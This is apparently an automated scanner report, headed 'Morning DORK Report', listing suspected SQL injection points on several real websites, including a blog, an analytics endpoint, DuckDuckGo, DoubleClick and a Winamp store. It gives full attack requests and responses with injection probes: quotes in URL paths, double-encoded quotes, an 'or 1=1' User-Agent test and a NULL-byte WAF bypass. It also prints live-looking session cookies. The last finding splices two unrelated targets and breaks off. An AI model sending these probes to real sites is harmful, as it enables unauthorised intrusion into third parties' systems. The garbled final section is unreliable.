Morning DORK Report, XSS, SQL Injection, Cross Site Scripting, HTTP Header Injection, CWE-79, CWE-89, CWE-113

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

1.1. http://bad-behavior.ioerror.us/2011/01/05/bad-behavior-2-1-8/ [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Firm
Host:	http://bad-behavior.ioerror.us
Path:	/2011/01/05/bad-behavior-2-1-8/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /2011'/01/05/bad-behavior-2-1-8/ HTTP/1.1
Host: bad-behavior.ioerror.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bb2_screener_=1298752932+173.193.214.243;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 23:13:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.4
Set-Cookie: bb2_screener_=1298761999+173.193.214.243; path=/
Vary: Cookie
X-Pingback: http://bad-behavior.ioerror.us/xmlrpc.php
Link: <http://bad-behavior.ioerror.us/?p=441>; rel=shortlink
Content-Length: 26787

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/11">
<meta property=
...[SNIP]...
2.0 requires PHP 4.3 or later, and 2.1 requires PHP 5.2 or later (5.3 when running on Windows). Both releases require MySQL 4.0 or later when using a database. I have had code contributed which offers PostgreSQL support and I will be integrating this soon. Note that as 2.1 is still the development branch, requirements may change (up or down) as development progresses.</p>
...[SNIP]...

1.2. http://bad-behavior.ioerror.us/2011/01/05/bad-behavior-2-1-8/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://bad-behavior.ioerror.us
Path:	/2011/01/05/bad-behavior-2-1-8/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /2011/01'/05/bad-behavior-2-1-8/ HTTP/1.1
Host: bad-behavior.ioerror.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bb2_screener_=1298752932+173.193.214.243;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 23:13:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.4
Set-Cookie: bb2_screener_=1298762005+173.193.214.243; path=/
Vary: Cookie
X-Pingback: http://bad-behavior.ioerror.us/xmlrpc.php
Link: <http://bad-behavior.ioerror.us/?p=441>; rel=shortlink
Content-Length: 26787

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/11">
<meta property=
...[SNIP]...
2.0 requires PHP 4.3 or later, and 2.1 requires PHP 5.2 or later (5.3 when running on Windows). Both releases require MySQL 4.0 or later when using a database. I have had code contributed which offers PostgreSQL support and I will be integrating this soon. Note that as 2.1 is still the development branch, requirements may change (up or down) as development progresses.</p>
...[SNIP]...

1.3. http://bad-behavior.ioerror.us/2011/01/05/bad-behavior-2-1-8/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://bad-behavior.ioerror.us
Path:	/2011/01/05/bad-behavior-2-1-8/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /2011/01/05'/bad-behavior-2-1-8/ HTTP/1.1
Host: bad-behavior.ioerror.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bb2_screener_=1298752932+173.193.214.243;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 23:13:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.4
Set-Cookie: bb2_screener_=1298762011+173.193.214.243; path=/
Vary: Cookie
X-Pingback: http://bad-behavior.ioerror.us/xmlrpc.php
Link: <http://bad-behavior.ioerror.us/?p=441>; rel=shortlink
Content-Length: 26788

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/11">
<meta property=
...[SNIP]...
2.0 requires PHP 4.3 or later, and 2.1 requires PHP 5.2 or later (5.3 when running on Windows). Both releases require MySQL 4.0 or later when using a database. I have had code contributed which offers PostgreSQL support and I will be integrating this soon. Note that as 2.1 is still the development branch, requirements may change (up or down) as development progresses.</p>
...[SNIP]...

1.4. http://bad-behavior.ioerror.us/blog/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://bad-behavior.ioerror.us
Path:	/blog/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /blog'/ HTTP/1.1
Host: bad-behavior.ioerror.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bb2_screener_=1298752932+173.193.214.243;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 23:12:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.4
Set-Cookie: bb2_screener_=1298761978+173.193.214.243; path=/
Vary: Cookie
X-Pingback: http://bad-behavior.ioerror.us/xmlrpc.php
Content-Length: 72723

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/11">
<meta property=
...[SNIP]...
2.0 requires PHP 4.3 or later, and 2.1 requires PHP 5.2 or later (5.3 when running on Windows). Both releases require MySQL 4.0 or later when using a database. I have had code contributed which offers PostgreSQL support and I will be integrating this soon. Note that as 2.1 is still the development branch, requirements may change (up or down) as development progresses.</p>
...[SNIP]...

1.5. http://bad-behavior.ioerror.us/category/bad-behavior/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://bad-behavior.ioerror.us
Path:	/category/bad-behavior/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /category/bad-behavior'/ HTTP/1.1
Host: bad-behavior.ioerror.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bb2_screener_=1298752932+173.193.214.243;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 23:14:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.4
Set-Cookie: bb2_screener_=1298762060+173.193.214.243; path=/
Vary: Cookie
X-Pingback: http://bad-behavior.ioerror.us/xmlrpc.php
Content-Length: 51665

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/11">
<meta property=
...[SNIP]...
2.0 requires PHP 4.3 or later, and 2.1 requires PHP 5.2 or later (5.3 when running on Windows). Both releases require MySQL 4.0 or later when using a database. I have had code contributed which offers PostgreSQL support and I will be integrating this soon. Note that as 2.1 is still the development branch, requirements may change (up or down) as development progresses.</p>
...[SNIP]...

1.6. http://bad-behavior.ioerror.us/category/bad-behavior/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://bad-behavior.ioerror.us
Path:	/category/bad-behavior/

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /category/bad-behavior/?1%2527=1 HTTP/1.1
Host: bad-behavior.ioerror.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bb2_screener_=1298752932+173.193.214.243;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 23:13:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.4
Set-Cookie: bb2_screener_=1298762019+173.193.214.243; path=/
Vary: Cookie
X-Pingback: http://bad-behavior.ioerror.us/xmlrpc.php
Content-Length: 51670

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/11">
<meta property=
...[SNIP]...
2.0 requires PHP 4.3 or later, and 2.1 requires PHP 5.2 or later (5.3 when running on Windows). Both releases require MySQL 4.0 or later when using a database. I have had code contributed which offers PostgreSQL support and I will be integrating this soon. Note that as 2.1 is still the development branch, requirements may change (up or down) as development progresses.</p>
...[SNIP]...

1.7. http://bad-behavior.ioerror.us/feed/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://bad-behavior.ioerror.us
Path:	/feed/

Remediation detail

Request

GET /feed/?1%2527=1 HTTP/1.1
Host: bad-behavior.ioerror.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bb2_screener_=1298752932+173.193.214.243;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 23:11:36 GMT
Content-Type: text/xml; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.3.4
Set-Cookie: bb2_screener_=1298761895+173.193.214.243; path=/
Vary: Cookie
X-Pingback: http://bad-behavior.ioerror.us/xmlrpc.php
Last-Modified: Tue, 15 Feb 2011 06:24:42 GMT
ETag: "d0aa19c0e184cf0e188a04458920669c"
Content-Length: 41692

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:dc="http://purl.org/dc/elem
...[SNIP]...
2.0 requires PHP 4.3 or later, and 2.1 requires PHP 5.2 or later (5.3 when running on Windows). Both releases require MySQL 4.0 or later when using a database. I have had code contributed which offers PostgreSQL support and I will be integrating this soon. Note that as 2.1 is still the development branch, requirements may change (up or down) as development progresses.</p>
...[SNIP]...

1.8. http://bad-behavior.ioerror.us/feed/atom/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://bad-behavior.ioerror.us
Path:	/feed/atom/

Remediation detail

Request

GET /feed/atom/?1%2527=1 HTTP/1.1
Host: bad-behavior.ioerror.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bb2_screener_=1298752932+173.193.214.243;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 23:11:42 GMT
Content-Type: application/atom+xml; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.3.4
Set-Cookie: bb2_screener_=1298761902+173.193.214.243; path=/
Vary: Cookie
X-Pingback: http://bad-behavior.ioerror.us/xmlrpc.php
Last-Modified: Tue, 15 Feb 2011 06:24:42 GMT
ETag: "d0aa19c0e184cf0e188a04458920669c"
Content-Length: 45367

<?xml version="1.0" encoding="UTF-8"?><feed
xmlns="http://www.w3.org/2005/Atom"
xmlns:thr="http://purl.org/syndication/thread/1.0"
xml:lang="en"
xml:base="http://bad-behavior.ioerror.us/wp-ato
...[SNIP]...
2.0 requires PHP 4.3 or later, and 2.1 requires PHP 5.2 or later (5.3 when running on Windows). Both releases require MySQL 4.0 or later when using a database. I have had code contributed which offers PostgreSQL support and I will be integrating this soon. Note that as 2.1 is still the development branch, requirements may change (up or down) as development progresses.</p>
...[SNIP]...

1.9. https://client.trafficshaping.com/_mint/ [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	https://client.trafficshaping.com
Path:	/_mint/

Request 1

GET /_mint/?js HTTP/1.1
Host: client.trafficshaping.com
Connection: keep-alive
Referer: https://client.trafficshaping.com/signin
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.1320435182'%20or%201%3d1--%20
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: csId=3922e3f116c2b714cb30cd7f3271fd2d; __switchTo5x=95; __utmz=50089699.1298824334.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MintUnique=1; MintUniqueHour=1298822400; MintUniqueDay=1298793600; MintUniqueWeek=1298793600; MintUniqueMonth=1296547200; MintAcceptsCookies=1; __utma=50089699.1488621134.1298824334.1298824334.1298824334.1; __utmc=50089699; __utmb=50089699.3.10.1298824334; MintAcceptsCookies=1; __unam=d903aed-12e67f689b8-53801d6e-4

Response 1

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 16:52:18 GMT
Server: Apache/2.2.9 (Debian) PHP/5.3.3-0.dotdeb.1 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.3.3-0.dotdeb.1
P3P: CP="NOI NID ADMa OUR IND COM NAV STA LOC"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 27 Feb 2011 16:52:18 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: MintAcceptsCookies=1; path=/; domain=.client.trafficshaping.com
Content-Length: 2003
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript

var Mint = new Object();
Mint.save = function()
{
   var now        = new Date();
   var debug    = false; // this is set by php
   if (window.location.hash == '#Mint:Debug') { debug = true; };
   var path    = 'http://www.trafficshaping.com/_mint/?record&key=384148426b333545573532697a435238386b393231';
   path        = path.replace(/^https?:/, window.location.protocol);

   // Loop through the different plug-ins to assemble the query string
   for (var developer in this)
   {
       for (var plugin in this[developer])
       {
           if (this[developer][plugin] && this[developer][plugin].onsave)
           {
               path += this[developer][plugin].onsave();
           };
       };
   };
   // Slap the current time on there to prevent caching on subsequent page views in a few browsers
   path += '&'+now.getTime();

   // Redirect to the debug page
   if (debug) { window.open(path+'&debug&errors', 'MintLiveDebug'+now.getTime()); return; };

   var ie = /*@cc_on!@*/0;
   if (!ie && document.getElementsByTagName && (document.createElementNS || document.createElement))
   {
       var tag = (document.createElementNS) ? document.createElementNS('http://www.w3.org/1999/xhtml', 'script') : document.createElement('script');
       tag.type = 'text/javascript';
       tag.src = path + '&serve_js';
       document.getElementsByTagName('head')[0].appendChild(tag);
   }
   else if (document.write)
   {
       document.write('<' + 'script type="text/javascript" src="' + path + '&serve_js"><' + '/script>');
   };
};
if (!Mint.SI) { Mint.SI = new Object(); }
Mint.SI.Referrer =
{
   onsave    : function()
   {
       var encoded = 0;
       if (typeof Mint_SI_DocumentTitle == 'undefined') { Mint_SI_DocumentTitle = document.title; }
       else { encoded = 1; };
       var referer        = (window.decodeURI)?window.decodeURI(document.referrer):document.referrer;
       var resource    = (window.decodeURI)?window.decodeURI(document.URL):document.URL;
       return '&referer=' + escape(referer) + '&resource=' + escape(resource) + '&resource_title=' + escape(Mint_SI_DocumentTitle) + '&resource_title_encoded=' + encoded;
   }
};
Mint.save();

Request 2

GET /_mint/?js HTTP/1.1
Host: client.trafficshaping.com
Connection: keep-alive
Referer: https://client.trafficshaping.com/signin
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.1320435182'%20or%201%3d2--%20
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: csId=3922e3f116c2b714cb30cd7f3271fd2d; __switchTo5x=95; __utmz=50089699.1298824334.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MintUnique=1; MintUniqueHour=1298822400; MintUniqueDay=1298793600; MintUniqueWeek=1298793600; MintUniqueMonth=1296547200; MintAcceptsCookies=1; __utma=50089699.1488621134.1298824334.1298824334.1298824334.1; __utmc=50089699; __utmb=50089699.3.10.1298824334; MintAcceptsCookies=1; __unam=d903aed-12e67f689b8-53801d6e-4

Response 2

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 16:52:19 GMT
Server: Apache/2.2.9 (Debian) PHP/5.3.3-0.dotdeb.1 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.3.3-0.dotdeb.1
P3P: CP="NOI NID ADMa OUR IND COM NAV STA LOC"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 27 Feb 2011 16:52:19 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: MintAcceptsCookies=1; path=/; domain=.client.trafficshaping.com
Content-Length: 2015
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript

var Mint = new Object();
Mint.save = function()
{
   var now        = new Date();
   var debug    = false; // this is set by php
   if (window.location.hash == '#Mint:Debug') { debug = true; };
   var path    = 'http://www.trafficshaping.com/_mint/?record&key=4455513933353556785a75734b5367744a32383868616979393231';
   path        = path.replace(/^https?:/, window.location.protocol);

   // Loop through the different plug-ins to assemble the query string
   for (var developer in this)
   {
       for (var plugin in this[developer])
       {
           if (this[developer][plugin] && this[developer][plugin].onsave)
           {
               path += this[developer][plugin].onsave();
           };
       };
   };
   // Slap the current time on there to prevent caching on subsequent page views in a few browsers
   path += '&'+now.getTime();

   // Redirect to the debug page
   if (debug) { window.open(path+'&debug&errors', 'MintLiveDebug'+now.getTime()); return; };

   var ie = /*@cc_on!@*/0;
   if (!ie && document.getElementsByTagName && (document.createElementNS || document.createElement))
   {
       var tag = (document.createElementNS) ? document.createElementNS('http://www.w3.org/1999/xhtml', 'script') : document.createElement('script');
       tag.type = 'text/javascript';
       tag.src = path + '&serve_js';
       document.getElementsByTagName('head')[0].appendChild(tag);
   }
   else if (document.write)
   {
       document.write('<' + 'script type="text/javascript" src="' + path + '&serve_js"><' + '/script>');
   };
};
if (!Mint.SI) { Mint.SI = new Object(); }
Mint.SI.Referrer =
{
   onsave    : function()
   {
       var encoded = 0;
       if (typeof Mint_SI_DocumentTitle == 'undefined') { Mint_SI_DocumentTitle = document.title; }
       else { encoded = 1; };
       var referer        = (window.decodeURI)?window.decodeURI(document.referrer):document.referrer;
       var resource    = (window.decodeURI)?window.decodeURI(document.URL):document.URL;
       return '&referer=' + escape(referer) + '&resource=' + escape(resource) + '&resource_title=' + escape(Mint_SI_DocumentTitle) + '&resource_title_encoded=' + encoded;
   }
};
Mint.save();

1.10. http://duckduckgo.com/ie/v1/api/oembed [urls parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://duckduckgo.com
Path:	/ie/v1/api/oembed

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /ie/v1/api/oembed?urls=http://www.amazon.com/Labor-Day-Novel-Joyce-Maynard/dp/0061843415?tag=duckduckgo-d-20%00'&maxwidth=600&format=json&callback=nreb&wmode=window HTTP/1.1
Host: duckduckgo.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 504 Gateway Time-out
Server: nginx
Date: Tue, 01 Mar 2011 02:01:37 GMT
Content-Type: text/html
Content-Length: 4637
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/"/><meta http-equiv="content-type" content="text
...[SNIP]...
<div id="error">
...[SNIP]...

Request 2

GET /ie/v1/api/oembed?urls=http://www.amazon.com/Labor-Day-Novel-Joyce-Maynard/dp/0061843415?tag=duckduckgo-d-20%00''&maxwidth=600&format=json&callback=nreb&wmode=window HTTP/1.1
Host: duckduckgo.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:01:40 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 4275
Etag: "2016ae18671a1b7b5e0ddeaa2c318965da72dc98"

nreb([{"provider_url": "http://www.amazon.com", "description": "Amazon.com: Labor Day: A Novel (P.S.) (9780061843419): Joyce Maynard: Books", "title": "Labor Day: A Novel (P.S.)", "url": "http://www.a
...[SNIP]...

1.11. http://googleads.g.doubleclick.net/pagead/ads [ga_vid parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Remediation detail

There is probably no need to perform a second URL-decode of the value of the ga_vid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /pagead/ads?client=ca-pub-2720111371110786&output=html&h=60&slotname=9367320272&w=234&lmt=1298774527&flash=10.2.154&url=http%3A%2F%2Fwww.thedetroitbureau.com%2Fabout-us%2F&dt=1298752927948&shv=r20101117&jsv=r20110208&saldr=1&prev_slotnames=9745053000%2C1777365721&correlator=1298752927865&frm=0&adk=2212307865&ga_vid=1929730161.1298752860%2527&ga_sid=1298752860&ga_hid=1804039218&ga_fc=1&u_tz=-360&u_his=7&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1421&bih=954&ref=http%3A%2F%2Fwww.thedetroitbureau.com%2F2011%2F02%2Finsurer-wants-fbi-to-pay-750000-for-crashed-ferrari%2F&fu=0&ifi=3&dtd=2&xpc=G3hbhrtKB2&p=http%3A//www.thedetroitbureau.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thedetroitbureau.com/about-us/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response 1

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 26 Feb 2011 20:53:54 GMT
Server: cafe
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 10985

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#ffffff;cursor:pointer;}body,table,div,ul,li{font-s
...[SNIP]...
<div class=adb>See How the GMC Terrain Stacks Up Against the Tucson. Compare Now!</div>
...[SNIP]...

Request 2

GET /pagead/ads?client=ca-pub-2720111371110786&output=html&h=60&slotname=9367320272&w=234&lmt=1298774527&flash=10.2.154&url=http%3A%2F%2Fwww.thedetroitbureau.com%2Fabout-us%2F&dt=1298752927948&shv=r20101117&jsv=r20110208&saldr=1&prev_slotnames=9745053000%2C1777365721&correlator=1298752927865&frm=0&adk=2212307865&ga_vid=1929730161.1298752860%2527%2527&ga_sid=1298752860&ga_hid=1804039218&ga_fc=1&u_tz=-360&u_his=7&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1421&bih=954&ref=http%3A%2F%2Fwww.thedetroitbureau.com%2F2011%2F02%2Finsurer-wants-fbi-to-pay-750000-for-crashed-ferrari%2F&fu=0&ifi=3&dtd=2&xpc=G3hbhrtKB2&p=http%3A//www.thedetroitbureau.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.thedetroitbureau.com/about-us/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response 2

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 26 Feb 2011 20:53:55 GMT
Server: cafe
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 11041

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#ffffff;cursor:pointer;}body,table,div,ul,li{font-s
...[SNIP]...

1.12. http://googleads.g.doubleclick.net/pagead/ads [u_w parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Severity:	High
Confidence:	Tentative
Host:	http://shop.winamp.com
Path:	/store

Remediation detail

There is probably no need to perform a second URL-decode of the value of the BIGipServerp-drh-dc1pod5-pool1-active cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000%2527; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 1

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=127409894031,0)
Date: Sun, 27 Feb 2011 17:47:24 GMT
